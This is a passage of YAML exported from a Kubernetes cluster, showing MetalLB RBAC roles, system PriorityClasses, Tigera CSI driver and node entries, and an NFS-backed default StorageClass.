    - communities
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - bfdprofiles
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-pod-lister
    namespace: metallb-system
    resourceVersion: "57865"
    uid: bec38aaa-3d9a-415f-b9c7-003c41ccfd4b
  rules:
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - list
    - get
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - bfdprofiles
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - bgppeers
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - l2advertisements
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - bgpadvertisements
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - ipaddresspools
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - communities
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - servicebgpstatuses
    - servicebgpstatuses/status
    verbs:
    - '*'
- apiVersion: scheduling.k8s.io/v1
  description: Used for system critical pods that must run in the cluster, but can
    be moved to another node if necessary.
  kind: PriorityClass
  metadata:
    creationTimestamp: "2025-09-21T11:09:17Z"
    generation: 1
    name: system-cluster-critical
    resourceVersion: "110"
    uid: 2e59ab90-7058-452c-976b-a9ffdccfe97c
  preemptionPolicy: PreemptLowerPriority
  value: 2000000000
- apiVersion: scheduling.k8s.io/v1
  description: Used for system critical pods that must not be moved from their current
    node.
  kind: PriorityClass
  metadata:
    creationTimestamp: "2025-09-21T11:09:17Z"
    generation: 1
    name: system-node-critical
    resourceVersion: "109"
    uid: 0ea36047-a398-4676-b26e-54890ec8510d
  preemptionPolicy: PreemptLowerPriority
  value: 2000001000
- apiVersion: storage.k8s.io/v1
  kind: CSIDriver
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    name: csi.tigera.io
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821127"
    uid: b4464bd1-4341-4726-a907-3f7b4caf5bee
  spec:
    attachRequired: true
    fsGroupPolicy: ReadWriteOnceWithFSType
    podInfoOnMount: true
    requiresRepublish: false
    seLinuxMount: false
    storageCapacity: false
    volumeLifecycleModes:
    - Ephemeral
- apiVersion: storage.k8s.io/v1
  kind: CSINode
  metadata:
    annotations:
      storage.alpha.kubernetes.io/migrated-plugins: kubernetes.io/aws-ebs,kubernetes.io/azure-disk,kubernetes.io/azure-file,kubernetes.io/cinder,kubernetes.io/gce-pd,kubernetes.io/portworx-volume,kubernetes.io/vsphere-volume
    creationTimestamp: "2025-09-21T11:09:16Z"
    name: k8s-m-1
    ownerReferences:
    - apiVersion: v1
      kind: Node
      name: k8s-m-1
      uid: 0434bec2-2cdd-40cf-be92-8aa574512d57
    resourceVersion: "6822891"
    uid: 4b2c128a-1b70-44d0-999c-a201bde6afa0
  spec:
    drivers:
    - name: csi.tigera.io
      nodeID: k8s-m-1
      topologyKeys: null
- apiVersion: storage.k8s.io/v1
  kind: CSINode
  metadata:
    annotations:
      storage.alpha.kubernetes.io/migrated-plugins: kubernetes.io/aws-ebs,kubernetes.io/azure-disk,kubernetes.io/azure-file,kubernetes.io/cinder,kubernetes.io/gce-pd,kubernetes.io/portworx-volume,kubernetes.io/vsphere-volume
    creationTimestamp: "2025-09-21T11:16:27Z"
    name: k8s-m-2
    ownerReferences:
    - apiVersion: v1
      kind: Node
      name: k8s-m-2
      uid: febaead2-efbe-4419-9e77-b195397e2090
    resourceVersion: "16959330"
    uid: 17b34d74-f4cc-48d6-85ee-4e87d91184ca
  spec:
    drivers:
    - name: csi.tigera.io
      nodeID: k8s-m-2
      topologyKeys: null
- apiVersion: storage.k8s.io/v1
  kind: CSINode
  metadata:
    annotations:
      storage.alpha.kubernetes.io/migrated-plugins: kubernetes.io/aws-ebs,kubernetes.io/azure-disk,kubernetes.io/azure-file,kubernetes.io/cinder,kubernetes.io/gce-pd,kubernetes.io/portworx-volume,kubernetes.io/vsphere-volume
    creationTimestamp: "2025-09-21T11:18:14Z"
    name: k8s-m-3
    ownerReferences:
    - apiVersion: v1
      kind: Node
      name: k8s-m-3
      uid: e9941774-8efa-42ec-abc7-595360d866d1
    resourceVersion: "6823732"
    uid: 97c17eea-a3d9-4354-a00d-cb2a08650f2e
  spec:
    drivers:
    - name: csi.tigera.io
      nodeID: k8s-m-3
      topologyKeys: null
- allowVolumeExpansion: true
  apiVersion: storage.k8s.io/v1
  kind: StorageClass
  metadata:
    annotations:
      meta.helm.sh/release-name: nfs-subdir-external-provisioner
      meta.helm.sh/release-namespace: default
      storageclass.kubernetes.io/is-default-class: "true"
    creationTimestamp: "2025-09-26T00:42:52Z"
    labels:
      app: nfs-subdir-external-provisioner
      app.kubernetes.io/managed-by: Helm
      chart: nfs-subdir-external-provisioner-4.0.18
      heritage: Helm
      release: nfs-subdir-external-provisioner
    name: nfs-client
    resourceVersion: "977132"
    uid: 949fef96-7b8d-4f1b-bb9e-a36c722b568e
  parameters:
    archiveOnDelete: "true"
  provisioner: cluster.local/nfs-subdir-external-provisioner
  reclaimPolicy: Delete
  volumeBindingMode: Immediate
kind: List
metadata:
  resourceVersion: ""
